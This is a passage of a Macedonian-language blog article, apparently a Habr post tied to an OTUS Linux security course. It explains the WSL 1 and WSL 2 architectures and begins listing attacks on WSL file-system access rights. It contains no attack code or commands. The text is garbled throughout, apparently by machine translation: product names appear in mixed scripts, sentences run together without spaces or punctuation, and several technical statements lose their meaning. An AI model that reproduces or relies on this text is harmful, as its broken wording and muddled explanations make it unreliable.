WSL СкспСримСнти. Π”Π΅Π» 1

Π—Π΄Ρ€Π°Π²ΠΎ, Π₯Π°Π±Ρ€! OTUS лансира Π½ΠΎΠ² Ρ‚Π΅ΠΊ Π½Π° курсСви Π²ΠΎ ΠΎΠΊΡ‚ΠΎΠΌΠ²Ρ€ΠΈ β€žΠ‘Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ‚ LinuxΒ». Π’ΠΎ прСсрСт Π½Π° ΠΏΠΎΡ‡Π΅Ρ‚ΠΎΠΊΠΎΡ‚ Π½Π° курсот, со вас сподСлувамС ΡΡ‚Π°Ρ‚ΠΈΡ˜Π° напишана ΠΎΠ΄ Π΅Π΄Π΅Π½ ΠΎΠ΄ Π½Π°ΡˆΠΈΡ‚Π΅ наставници, АлСксандар КолСсников.

WSL СкспСримСнти. Π”Π΅Π» 1

Π’ΠΎ 2016 Π³ΠΎΠ΄ΠΈΠ½Π°, ΠœΠ°Ρ˜ΠΊΡ€ΠΎΡΠΎΡ„Ρ‚ ја прСтстави Π½ΠΎΠ²Π°Ρ‚Π° WSL Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡ˜Π° Π½Π° ИВ Π·Π°Π΅Π΄Π½ΠΈΡ†Π°Ρ‚Π° (Wиндоус SпотсистСм Π·Π° Linux), ΡˆΡ‚ΠΎ Π½Π° Π΄ΠΎΠ»Π³ Ρ€ΠΎΠΊ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ ΠΎΠ±Π΅Π΄ΠΈΠ½ΡƒΠ²Π°ΡšΠ΅ Π½Π° ΠΏΡ€Π΅Ρ‚Ρ…ΠΎΠ΄Π½ΠΎ Π½Π΅ΠΏΠΎΠΌΠΈΡ€Π»ΠΈΠ²ΠΈΡ‚Π΅ ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΈ ΠΊΠΎΠΈ сС Π±ΠΎΡ€Π΅Π° Π·Π° популарност кај ΠΎΠ±ΠΈΡ‡Π½ΠΈΡ‚Π΅ ΠΈ Π½Π°ΠΏΡ€Π΅Π΄Π½ΠΈΡ‚Π΅ корисници Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм: Windows ΠΈ LinuxОваа Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡ˜Π° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ моТност Π·Π° ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° Π°Π»Π°Ρ‚ΠΊΠΈΡ‚Π΅ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм. Linux ΠΎΠΏΠΊΡ€ΡƒΠΆΠ΅Π½ Windows Π±Π΅Π· ΠΏΠΎΡ‚Ρ€Π΅Π±Π° ΠΎΠ΄ Π»Π°Π½ΡΠΈΡ€Π°ΡšΠ΅ Linux, Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° ΠΏΠΎΠ²Π΅ΡœΠ΅ΠΊΡ€Π°Ρ‚Π½ΠΎ ΡΡ‚Π°Ρ€Ρ‚ΡƒΠ²Π°ΡšΠ΅. На Habr ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π½Π°Ρ˜Π΄Π΅Ρ‚Π΅ Π±Ρ€ΠΎΡ˜Π½ΠΈ статии ΡˆΡ‚ΠΎ Π³ΠΈ ΠΎΠΏΠΈΡˆΡƒΠ²Π°Π°Ρ‚ ΠΏΡ€ΠΈΠ΄ΠΎΠ±ΠΈΠ²ΠΊΠΈΡ‚Π΅ ΠΎΠ΄ ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅Ρ‚ΠΎ Π½Π° WSL. Π‘Π΅ΠΏΠ°ΠΊ, Π·Π° ΠΆΠ°Π», Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Ρ‚ΠΎ Π½Π° ΠΏΠΈΡˆΡƒΠ²Π°ΡšΠ΅, Π½Π΅ Π±Π΅Π° ΠΏΡ€ΠΎΠ½Π°Ρ˜Π΄Π΅Π½ΠΈ студии Π·Π° бСзбСдноста Π½Π° ΠΎΠ²Π°Π° симбиоза Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈ систСми Π½Π° овој рСсурс. Оваа објава Π΅ ΠΎΠ±ΠΈΠ΄ Π΄Π° сС исправи ΠΎΠ²Π°. Π’ΠΎ ΡΡ‚Π°Ρ‚ΠΈΡ˜Π°Ρ‚Π° ќС сС дискутираат карактСристикитС Π½Π° Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€ΠΈΡ‚Π΅ WSL 1 ΠΈ 2 ΠΈ ќС сС Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€Π°Π°Ρ‚ Π½Π΅ΠΊΠΎΠ»ΠΊΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ Π²Ρ€Π· систСми ΡˆΡ‚ΠΎ Π³ΠΈ користат ΠΎΠ²ΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Π‘Ρ‚Π°Ρ‚ΠΈΡ˜Π°Ρ‚Π° Π΅ ΠΏΠΎΠ΄Π΅Π»Π΅Π½Π° Π½Π° Π΄Π²Π° Π΄Π΅Π»Π°. ΠŸΡ€Π²ΠΈΠΎΡ‚ ќС Π³ΠΈ прСтстави Π³Π»Π°Π²Π½ΠΈΡ‚Π΅ тСорСтски ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄. Linux ΠΈ WindowsΠ’Ρ‚ΠΎΡ€Π°Ρ‚Π° ΡΡ‚Π°Ρ‚ΠΈΡ˜Π° ќС ΠΎΠΏΡ„Π°Ρ‚ΠΈ ΠΏΠΎΡΡ‚Π°Π²ΡƒΠ²Π°ΡšΠ΅ Π½Π° тСст-ΠΎΠΊΡ€ΡƒΠΆΡƒΠ²Π°ΡšΠ΅ ΠΈ Ρ€Π΅ΠΏΡ€ΠΎΠ΄ΡƒΡ†ΠΈΡ€Π°ΡšΠ΅ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ.

WSL 1: архитСктонски карактСристики

Π—Π° цСлосно Π΄Π° сС Ρ€Π°Π·Π±Π΅Ρ€Π°Ρ‚ бСзбСдноснитС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈ Π½Π° WSL, ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎ Π΅ Π΄Π° сС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΡƒΠ²Π°Π°Ρ‚ ΠΊΠ»ΡƒΡ‡Π½ΠΈΡ‚Π΅ нијанси ΠΏΠΎΠ²Ρ€Π·Π°Π½ΠΈ со ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ˜Π°Ρ‚Π° Π½Π° подсистСмот. Π•Π΄Π½Π° ΠΎΠ΄ Π³Π»Π°Π²Π½ΠΈΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈ Π½Π° корисницитС ΡˆΡ‚ΠΎ Π³ΠΈ ΠΎΠΏΡ„Π°ΡœΠ° WSL Π΅ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ пристап Π΄ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»ΠΎΡ‚. Linux систСми Π½Π° Π΄ΠΎΠΌΠ°ΡœΠΈΠ½ΠΎΡ‚ со ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π΅Π½ систСм WindowsΠ˜ΡΡ‚ΠΎ Ρ‚Π°ΠΊΠ°, ΠΏΠΎΠ½ΡƒΠ΄Π΅Π½Π°Ρ‚Π° компатибилност бСшС Ρ‚ΠΎΠ»ΠΊΡƒ ΠΏΡ€ΠΈΡ€ΠΎΠ΄Π½Π° ΡˆΡ‚ΠΎ ΠΈΠ·Π²Ρ€ΡˆΠ½ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ Linux (ELF) ΠΌΠΎΠΆΠ΅ Π΄Π° сС лансира Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ Π²ΠΎ систСмот WindowsΠ—Π° Π΄Π° сС постигнат ΠΎΠ²ΠΈΠ΅ Ρ†Π΅Π»ΠΈ Π²ΠΎ Windows 10 создадСн Π΅ посСбСн подсистСм кој ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡƒΠ²Π° ΡΡ‚Π°Ρ€Ρ‚ΡƒΠ²Π°ΡšΠ΅ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Linux ΠΊΠΎΡ€ΠΈΡΡ‚Π΅Ρ˜ΡœΠΈ сСт Π½Π° спСцифични систСмски ΠΏΠΎΠ²ΠΈΡ†ΠΈ - Π·Π°Ρ‚ΠΎΠ°, бСшС Π½Π°ΠΏΡ€Π°Π²Π΅Π½ ΠΎΠ±ΠΈΠ΄ Π΄Π° сС ΠΌΠ°ΠΏΠΈΡ€Π° сСт Π½Π° систСмски ΠΏΠΎΠ²ΠΈΡ†ΠΈ Linux Π½Π° WindowsΠ€ΠΈΠ·ΠΈΡ‡ΠΊΠΈ, ΠΎΠ²Π° бСшС ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€Π°Π½ΠΎ со додавањС Π½Π° Π½ΠΎΠ²ΠΈ Π΄Ρ€Π°Ρ˜Π²Π΅Ρ€ΠΈ ΠΈ Π½ΠΎΠ² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π½Π° процСсот. Π’ΠΈΠ·ΡƒΠ΅Π»Π½ΠΎ, Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π°Ρ‚Π° изглСдашС Π²Π°ΠΊΠ°:

WSL СкспСримСнти. Π”Π΅Π» 1

Π’ΠΎ основа, ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ†ΠΈΡ˜Π° со ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux бСшС ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½ со ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° Π½Π΅ΠΊΠΎΠ»ΠΊΡƒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π½Π° Ρ˜Π°Π΄Ρ€ΠΎΡ‚ΠΎ ΠΈ посСбСн Ρ‚ΠΈΠΏ Π½Π° процСс - pico. Π”ΠΈΡ˜Π°Π³Ρ€Π°ΠΌΠΎΡ‚ ΠΏΠΎΠ³ΠΎΡ€Π΅ ΠΏΠΎΠΊΠ°ΠΆΡƒΠ²Π° Π΄Π΅ΠΊΠ° процСсот ΡˆΡ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚ΠΈ Π²ΠΎ инстанцата Linux Π½Π° Π΄ΠΎΠΌΠ°ΡœΠΈΠ½ΠΎΡ‚, ΠΌΠΎΡ€Π° Π΄Π° Π±ΠΈΠ΄Π΅ ΠΌΠ°Ρ‚ΠΈΡ‡Π΅Π½ ΠΈ ΠΌΠΎΡ€Π° Π΄Π° Π³ΠΈ користи иститС рСсурси ΠΊΠ°ΠΊΠΎ ΠΈ ΠΎΠ±ΠΈΡ‡Π½ΠΈΡ‚Π΅ Π°ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ WindowsНо, ΠΊΠ°ΠΊΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС постигнС ΠΎΠ²Π°? Π’ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΡ‚ Π”Ρ€Π°Π²Π±Ρ€ΠΈΡŸ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΠΈΡ‚Π΅ Π½Π° процСсот Π±Π΅Π° Ρ€Π°Π·Π²ΠΈΠ΅Π½ΠΈ Π·Π° Windows, кој Π³ΠΈ ΠΎΠ±Π΅Π·Π±Π΅Π΄ΠΈ ситС ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм (Π²ΠΎ зависност ΠΎΠ΄ Π½Π΅Π³ΠΎΠ²Π°Ρ‚Π° Π²Π΅Ρ€Π·ΠΈΡ˜Π°) Π·Π° Π΄Π° сС ΠΈΠ·Π²Ρ€ΡˆΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° ΠΎΠ΄ Π΄Ρ€ΡƒΠ³ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π΅Π½ систСм.

Π—Π°Π±Π΅Π»Π΅ΠΆΠ΅Ρ‚Π΅ Π΄Π΅ΠΊΠ° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π°Ρ‚Π° Π°ΠΏΡΡ‚Ρ€Π°ΠΊΡ†ΠΈΡ˜Π° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° Π½Π΅ сС ΠΏΠΎΡ‚ΠΏΠΈΡ€Π°Ρ‚Π΅ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм (особСно, Windows), кој ΠΎΡ‡Π΅ΠΊΡƒΠ²Π° Π΄Π° сС лансира Π΄Ρ€ΡƒΠ³ процСс Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈ ΠΎΠΏΡˆΡ‚ пристап.

Π’Π°ΠΊΠ°, сСкоја Π°ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° Π²ΠΎ Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° pico процСсот ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ Π±Π΅Π· ΠΎΠ³Π»Π΅Π΄ Π½Π° Ρ˜Π°Π΄Ρ€ΠΎΡ‚ΠΎ. Windows:

  1. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅ со компатибилноста ΠΈ ΠΏΡ€Π΅Π²ΠΎΠ΄ΠΎΡ‚ Π½Π° систСмскитС ΠΏΠΎΠ²ΠΈΡ†ΠΈ ΠΌΠΎΡ€Π° Π΄Π° Π³ΠΈ Ρ€Π΅ΡˆΠ°Π²Π°Π°Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΡ˜Π°Π»Π½ΠΈ ΠΏΡ€ΠΎΠ²Π°Ρ˜Π΄Π΅Ρ€ΠΈ;
  2. ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π°Ρ‚Π° Π½Π° пристап ΠΌΠΎΡ€Π° Π΄Π° сС ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€Π° ΠΏΡ€Π΅ΠΊΡƒ БСзбСдносниот ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€. ΠœΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΡ‚ сС Π½Π°ΠΎΡ“Π° Π²ΠΎ Ρ˜Π°Π΄Ρ€ΠΎΡ‚ΠΎ ΠΈ Π·Π°Ρ‚ΠΎΠ° Windows Π‘Π΅ΡˆΠ΅ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½Π° Π½Π°Π΄Π³Ρ€Π°Π΄Π±Π° Π²ΠΎ Ρ„ΠΎΡ€ΠΌΠ° Π½Π° Π½ΠΎΠ² Π΄Ρ€Π°Ρ˜Π²Π΅Ρ€ кој Π±ΠΈ ΠΌΠΎΠΆΠ΅Π» Π΄Π° Π΄Π΅Ρ˜ΡΡ‚Π²ΡƒΠ²Π° ΠΊΠ°ΠΊΠΎ ΠΏΡ€ΠΎΠ²Π°Ρ˜Π΄Π΅Ρ€ Π·Π° Π²Π°ΠΊΠ²ΠΈ процСси. ΠŸΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΡ‚ Π½Π° ΠΏΠΈΠΊΠΎ процСсот Π΅ ΡˆΠ΅ΠΌΠ°Ρ‚ΡΠΊΠΈ ΠΏΡ€ΠΈΠΊΠ°ΠΆΠ°Π½ ΠΏΠΎΠ΄ΠΎΠ»Ρƒ:

WSL СкспСримСнти. Π”Π΅Π» 1

Π‘ΠΈΠ΄Π΅Ρ˜ΡœΠΈ Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π½ΠΈΠΎΡ‚ систСм Linux користи имиња Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡƒΠΌΠΈ ΡˆΡ‚ΠΎ осСтуваат Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΈ ΠΌΠ°Π»ΠΈ Π±ΡƒΠΊΠ²ΠΈ, Windows Π”ΠΎΠ΄Π°Π΄Π΅Π½ΠΈ сС Π΄Π²Π° Ρ‚ΠΈΠΏΠ° Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π΅Π½ систСм Π·Π° ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π° со WSL: VolFS ΠΈ DriveFS. VolFS Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ˜Π° Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π΅Π½ систСм. Linux, DriveFS Π΅ Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π΅Π½ систСм кој Ρ€Π°Π±ΠΎΡ‚ΠΈ спорСд ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° Windows, Π½ΠΎ ΠΈΠΌΠ° ΠΎΠΏΡ†ΠΈΡ˜Π° Π·Π° ΠΈΠ·Π±ΠΎΡ€ Π½Π° чувствитСлност Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΈ ΠΌΠ°Π»ΠΈ Π±ΡƒΠΊΠ²ΠΈ кај ΠΈΠΌΠΈΡšΠ°Ρ‚Π°.

WSL 2

WSL 1 имашС Π³ΠΎΠ»Π΅ΠΌ Π±Ρ€ΠΎΡ˜ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΡƒΠ²Π°ΡšΠ° ΡˆΡ‚ΠΎ Π³ΠΎ спрСчуваа Π΄Π° сС користи Π·Π° Ρ€Π΅ΡˆΠ°Π²Π°ΡšΠ΅ Π½Π° Π½Π°Ρ˜ΡˆΠΈΡ€ΠΎΠΊΠΈΠΎΡ‚ спСктар Π½Π° Π·Π°Π΄Π°Ρ‡ΠΈ: Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, нСмашС моТност Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° со 32-Π±ΠΈΡ‚Π½Π° Π²Π΅Ρ€Π·ΠΈΡ˜Π°. Linux АпликациитС Π½Π΅ ΠΌΠΎΠΆΠ΅Π° Π΄Π° користат Π΄Ρ€Π°Ρ˜Π²Π΅Ρ€ΠΈ Π·Π° ΡƒΡ€Π΅Π΄ΠΈ. Π—Π°Ρ‚ΠΎΠ°, Π²ΠΎ 2020 Π³ΠΎΠ΄ΠΈΠ½Π° бСшС ΠΈΠ·Π΄Π°Π΄Π΅Π½ WSL 2, кој Π³ΠΎ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ пристапот ΠΊΠΎΠ½ Π³Ρ€Π°Π΄Π΅ΡšΠ΅ Π½Π° подсистСмот. WSL 2 Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€Π°Π½Π° Π²ΠΈΡ€Ρ‚ΡƒΠ΅Π»Π½Π° машина која ΠΎΠ΄Π³ΠΎΠ²Π°Ρ€Π° Π½Π° карактСристикитС Π½Π° ΠΏΠΎΡ‚Ρ€ΠΎΡˆΡƒΠ²Π°Ρ‡ΠΊΠ° Π½Π° рСсурси Π½Π° WSL 1. Π‘Π΅Π³Π°, Π²ΠΎ зависност ΠΎΠ΄ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅ ΡˆΡ‚ΠΎ Π³ΠΈ Ρ€Π΅ΡˆΠ°Π²Π° корисникот, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Windows, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ја ΠΈΠ·Π±Π΅Ρ€Π΅Ρ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½Π°Ρ‚Π° Π²Π΅Ρ€Π·ΠΈΡ˜Π° Π½Π° подсистСмот Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° со LinuxΠ—Π° Π΄Π° сС ΡƒΠ±Π»Π°ΠΆΠ°Ρ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΡ˜Π°Π»Π½ΠΈΡ‚Π΅ ранливости, WSL 2 бСшС ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€Π°Π½ Π²Ρ€Π· основа Π½Π° Hyper-V Π²ΠΎ Windows 10Π’ΠΎ ΠΎΠ²Π°Π° Ρ„ΠΎΡ€ΠΌΠ° Windows ΠΈΠΌΠ° моТност Π΄Π° Π³ΠΎ стартува Ρ˜Π°Π΄Ρ€ΠΎΡ‚ΠΎ Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм ΠΈΠ·ΠΎΠ»ΠΈΡ€Π°Π½ΠΎ LinuxΠ’Ρ€Π΅Π΄ΠΈ Π΄Π° сС Π·Π°ΠΏΠΎΠΌΠ½ΠΈ Π΄Π΅ΠΊΠ° Π²Π΅Ρ€Π·ΠΈΡ˜Π°Ρ‚Π° 1 Π½Π° WSL бСшС Π²ΠΎΠ²Π΅Π΄Π΅Π½Π° ΠΊΠ°ΠΊΠΎ Π±Π΅Ρ‚Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡ˜Π° Π½Π°ΠΌΠ΅Π½Π΅Ρ‚Π° Π΄Π° ја ΠΏΠΎΠΊΠ°ΠΆΠ΅ насоката Π½Π° Ρ€Π°Π·Π²ΠΎΡ˜. Windows Π²ΠΎ ΠΎΠ²Π°Π° област, ΠΏΠ° Π·Π°Ρ‚ΠΎΠ° Ρ‚Ρ€Π°Π½Π·ΠΈΡ†ΠΈΡ˜Π°Ρ‚Π° ΠΊΠΎΠ½ Hyper-V бСшС Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½Π°. ΠšΠΎΠ½Π΅Ρ‡Π½Π°Ρ‚Π° Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π° ΠΈΠ·Π³Π»Π΅Π΄Π° Π²Π°ΠΊΠ°:

WSL СкспСримСнти. Π”Π΅Π» 1

Π’ΠΎ ΠΎΠ²Π°Π° Π²Π΅Ρ€Π·ΠΈΡ˜Π°, систСмскитС Ρ˜Π°Π΄Ρ€Π° Windows ΠΈ Linux БСкој ΠΎΠ΄ Π½ΠΈΠ² ΠΈΠΌΠ° свои рСсурси ΠΈ сС ΠΏΡ€Π΅ΠΊΠ»ΠΎΠΏΡƒΠ²Π° само Π²ΠΎ Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π½ΠΈΠΎΡ‚ систСм, Π½ΠΎ ΠΎΠ²Π° ΠΏΡ€Π΅ΠΊΠ»ΠΎΠΏΡƒΠ²Π°ΡšΠ΅ Π΅ Π΄Π°Π»Π΅ΠΊΡƒ ΠΎΠ΄ цСлосно. Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ†ΠΈΡ˜Π°Ρ‚Π° ΠΏΠΎΠΌΠ΅Ρ“Ρƒ Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π½ΠΈΡ‚Π΅ систСми сС остварува ΠΏΡ€Π΅ΠΊΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСр ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΡˆΡ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚ΠΈ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΡ‚ 9P.

ДСнСс Microsoft ΠΎΠ±Π΅Π·Π±Π΅Π΄ΡƒΠ²Π° моТност Π·Π° ΠΏΡ€Π΅Ρ„Ρ€Π»ΡƒΠ²Π°ΡšΠ΅ ΠΏΠΎΠΌΠ΅Ρ“Ρƒ WSL 1 ΠΈ WSL 2. Π”Π²Π΅Ρ‚Π΅ Π²Π΅Ρ€Π·ΠΈΠΈ сС достапни Π·Π° ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π°.

WSL бСзбСдност

Π’ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΏΠΎΡΡ‚ΠΎΡ˜Π°Ρ‚ Π½Π΅ΠΊΠΎΠ»ΠΊΡƒ Π΄Π΅Π»Π° ΠΊΠΎΠΈ ΠΎΠΏΠΈΡˆΡƒΠ²Π°Π°Ρ‚ Π½Π΅ΠΊΠΎΠΈ пристапи Π·Π° ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈ Π°Π»Π°Ρ‚ΠΊΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄ Π½Π° ΠΊΠΎΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° ΠΏΠΎΠΌΠ΅Ρ“Ρƒ потсистСмитС. ЌС Π³ΠΈ користимС Π½ΠΈΠ²Π½ΠΈΡ‚Π΅ скрипти Π·Π° Π΄Π° ја ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌΠ΅ рСлСвантноста Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡ‚Π΅ Π²ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΡ‚ Π½Π° ΠΏΠΈΡˆΡƒΠ²Π°ΡšΠ΅. ΠžΠΏΡˆΡ‚Π° листа Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΈ ΡΡ†Π΅Π½Π°Ρ€ΠΈΡ˜Π°:

1. Π˜ΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ˜Π° Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π΅Π½ систСм: ΠΏΡ€Π°Π²Π° Π½Π° пристап, достапност Π½Π° сподСлСни Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡƒΠΌΠΈ/ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° Ρ€Π°Π·ΠΌΠ΅Π½Π° Π½Π° ΠΏΠΎΠ΄Π°Ρ‚ΠΎΡ†ΠΈ.

Π‘Π΅ΡˆΠ΅ спровСдСно ΠΈΡΡ‚Ρ€Π°ΠΆΡƒΠ²Π°ΡšΠ΅ Π·Π° Π΄Π° сС ΡƒΡ‚Π²Ρ€Π΄Π°Ρ‚ ΠΏΡ€Π΅ΠΊΡ€ΡˆΡƒΠ²Π°ΡšΠ°Ρ‚Π° Π½Π° ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° Π·Π° пристап ΠΎΠ΄ Linux FS->Windows Π€Π‘, Windows FS->Linux FS. Π˜ΡΡ‚Ρ€Π°ΠΆΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ ја ΠΏΠΎΠΊΠ°ΠΆΠ° способноста Π·Π° ΠΌΠ΅Π½ΡƒΠ²Π°ΡšΠ΅ Π½Π° Π΄Π°Π΄Π΅Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ° Π²ΠΎ Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° Ρ†Π΅Π»Π½ΠΈΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π΅Π½ систСм. Π‘Π΅Π° Π½Π°ΠΏΡ€Π°Π²Π΅Π½ΠΈ ΠΈ ΠΎΠ±ΠΈΠ΄ΠΈ Π·Π° Π·Π°ΠΌΠ΅Π½Π°, создавањС Π΄ΡƒΠΏΠ»ΠΈΠΊΠ°Ρ‚ΠΈ ΠΈ Π±Ρ€ΠΈΡˆΠ΅ΡšΠ΅ Π½Π° 